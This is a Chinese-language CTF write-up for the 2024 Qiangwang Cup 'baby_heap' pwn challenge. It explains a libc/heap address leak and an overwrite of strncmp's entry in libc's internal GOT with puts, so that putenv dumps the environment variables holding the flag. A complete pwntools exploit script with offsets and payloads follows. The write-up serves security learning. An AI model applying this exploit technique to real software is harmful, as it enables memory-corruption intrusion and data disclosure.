2024 强网杯-baby_heap
强网杯2024-<baby_heap>-<absgot劫持></absgot劫持></baby_heap>
要点:
- heap函数泄漏libc,heap(太简单了,free一个大chunk申请回来再show一次就可拿libc和heap)
__int64 sub_1C99()
{
if ( dword_5068 )
exit(1);
print("Wow ! You find my secret shop !\n");
print("But ! It's not so easy to get my secret \n");
print(" /\\_/\\ \n");
print(" ( o.o ) \n");
print(" > ^ < \n");
print("Input your target addr \n");
read(0, &buf, 8uLL);
sub_1C33();
read(0, buf, 0x10uLL);
return ++dword_5068;
}
-
上图函数,拿libc后就可以进行一次任意地址任意写0x10字节,不过有限制:
void *sub_1C33() { void *result; // rax if ( stdin <= buf && stdin + 0x1B000 > buf ) exit(1); result = buf; if ( stdin - 476575488 > buf ) exit(1); return result; }
出题人不让你打常规IO,所以IO的攻击方式几乎可舍弃了
-
有个特别函数:
可设置环境变量,putenv就是我们的攻击函数
putenv函数
格式: putenv(“USER=flag?”)
功能:设置名为USER的环境变量,若环境变量存在则会覆盖值为‘flag?’
源码部分:在其调用 __add_to_environ 函数的时候
ep = __environ;
size = 0;
if (ep != NULL)
{
for (; *ep != NULL; ++ep)
if (!strncmp (*ep, name, namelen) && (*ep)[namelen] == '=')
break;
else
++size;
}
会去遍历检测是否有该环境变量,用的strncmp,而str类的函数会根据libc上的absgot表索引跳转,利用一次任意写机会修改absgot表上的数据为puts,就可以打印出所有的环境变量。远程部署的动态flag就是根据环境变量写的。远程即可拿flag了。
strncmp部分:
单步进入修改后:
效果:
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
#context(os = 'linux', arch = 'amd64', log_level = 'debug')
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
# context.terminal = ['tmux', 'splitw', '-h']
env = 0x000000000001DAA
env_1 = 0x000000000001D5D
env_2 = 0x000000000001E55
env_3 = 0x000000000001E7F
Menu = 0x000000000001EE5
file_name = './pwn'
b_string ="b main\n"
b_slice = [Menu,env_2,env_3,env_1,0x000000000001D23,0x01D5D]
for i in b_slice:
if type(i) == int:
b_string += f"b *$rebase({i})\n"
else :
if type(i) == str:
b_string += f"b *"+i+f"\n"
choice = 0
if choice == 0 :
p = process(file_name)
gdb.attach(p,b_string)
print(f"Break_point:\n"+b_string)
else :
if choice == 1 :
p = gdb.debug(file_name,b_string)
print(f"Break_point:\n"+b_string)
else :
ip_add =""
port =
p = remote(ip_add,port)
#-----------------------------------------------------------------------------------------
rv = lambda x : p.recv(x)
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sd = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
#u32 = lambda : u32(p.recv(4).ljust(4,b'\x00'))
#u64 = lambda : u64(p.recv(6).ljust(8,b'\x00'))
inter = lambda : p.interactive()
debug = lambda text=None : gdb.attach(p, text)
lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
pad = lambda a,b : print("[+]{} =====>".format(a),hex(b))
#-----------------------------------------------------------------------------------------
def menu(num):
sla("Enter your choice: \n",str(num))
# print("=== add ===")
def add(size):
menu(1)
sla("Enter your commodity size \n",str(size))
print("=== add ===")
def free(idx):
menu(2)
sla("Enter which to delete: \n",str(idx))
print("=== free ===")
def edite(idx,payload):
menu(3)
sla("Enter which to edit: \n",str(idx))
sa("Input the content \n",payload)
print("=== edite ===")
def show(idx):
menu(4)
sla("Enter which to show: \n",str(idx))
ru("The content is here \n")
print("=== show ===")
def env(cho):
menu(5)
sla("Maybe you will be sad !\n",str(cho))
print("=== env ===")
def secret(addr,payload):
menu(6)
sa("Input your target addr \n",p64(addr))
sd(payload)
add(0x5f8)
add(0x500)
free(1)
add(0x540)
show(3)
libc = u64(rv(8))-0x21b150
rv(8)
heap = u64(rv(8))-0x001950
pad("libc",libc)
pad("heap",heap)
strncmp_got = libc+0x21a118
# lib = ELF("./libc-2.35.so")
puts = libc + 0x080e50
secret(strncmp_got,p64(puts)*2)
env(2)
inter()
0 条评论
可输入 255 字